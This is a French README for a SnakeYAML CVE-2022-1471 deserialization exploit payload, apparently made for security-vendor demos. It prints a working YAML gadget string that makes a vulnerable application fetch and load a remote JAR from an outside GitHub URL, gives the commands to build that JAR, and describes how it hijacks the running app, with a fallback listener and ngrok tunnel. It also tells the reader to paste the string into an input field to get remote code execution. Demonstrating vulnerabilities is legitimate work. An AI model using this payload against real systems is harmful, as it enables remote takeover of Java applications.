
SnakeYAML CVE-2022-1471 charge utile d'exploitation pour démos Seal Security
Un payload d'exploitation de désérialisation SnakeYAML pour CVE-2022-1471, adapté de artsploit/yaml-payload (dérivé de mbechler/marshalsec).
Lorsqu'il est chargé via la méthode non sécurisée Yaml.load() de SnakeYAML, ce payload prend le contrôle de l'application en cours d'exécution et la remplace par une page « You've Been PWNED » :
Si l'injection de Valve Tomcat n'est pas disponible (par exemple, application non Spring), il revient à un serveur HTTP autonome sur le port 9999 et crée automatiquement un tunnel ngrok si ngrok est en cours d'exécution.
Cela fonctionne à la fois localement sur macOS et dans les pipelines CI/CD (par exemple, GitHub Actions sur Ubuntu).
Le payload SnakeYAML déclenche ScriptEngineManager via le SPI Java (Service Provider Interface) :
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL pointant vers yaml-payload.jar de ce dépôt.URLClassLoader pour charger les classes distantes.ScriptEngineManager découvre et charge AwesomeScriptEngineFactory via META-INF/services/javax.script.ScriptEngineFactory./ par la page PWNED.Nécessite JDK 17+ :
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Utilisé comme payload d'exploitation dans le projet maven-demo. Collez la chaîne du payload dans le champ de nom de l'application pour déclencher l'exécution de code à distance (RCE). La page de l'application sera remplacée par la page PWNED lors de la prochaine requête. Voir le README de ce dépôt pour les instructions complètes de la démonstration.